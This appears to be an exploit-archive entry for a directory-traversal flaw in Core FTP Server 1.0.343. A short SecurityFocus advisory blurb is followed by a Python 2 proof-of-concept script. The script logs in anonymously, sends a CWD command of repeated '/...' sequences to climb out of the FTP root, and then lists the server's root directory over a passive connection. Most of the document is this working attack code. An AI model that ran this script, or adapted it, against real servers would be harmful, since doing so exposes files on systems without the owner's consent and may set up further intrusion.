Core FTP Server 1.0.343 – Directory Traversal
source: https://www.securityfocus.com/bid/40422/info Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks. Core FTP Server 1.0.343 is vulnerable; other versions may also be affected. import sys, socket, re host = 'localhost' port = 21 user = 'anonymous' password = 'a' buffer_size = 8192 timeout = 8 def recv(s): resp = '' while 1: r = s.recv(buffer_size) if not r: break resp += r return resp def list_root(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(timeout) print s.recv(buffer_size) s.send('USER ' + user + '\r\n') print s.recv(buffer_size) s.send('PASS ' + password + '\r\n') print s.recv(buffer_size) + s.recv(buffer_size) s.send('CWD ' + '/...' * 16 + '\r\n') resp = s.recv(buffer_size) print resp if resp[:3] == '250': s.send('PASV\r\n') resp = s.recv(buffer_size) print resp pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp) if (pasv_info == None): print 'Invalid PASV response: ' + resp return s.send('LIST\r\n') s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6)))) s2.settimeout(timeout) print recv(s2) s.close() except Exception: print sys.exc_info() list_root() |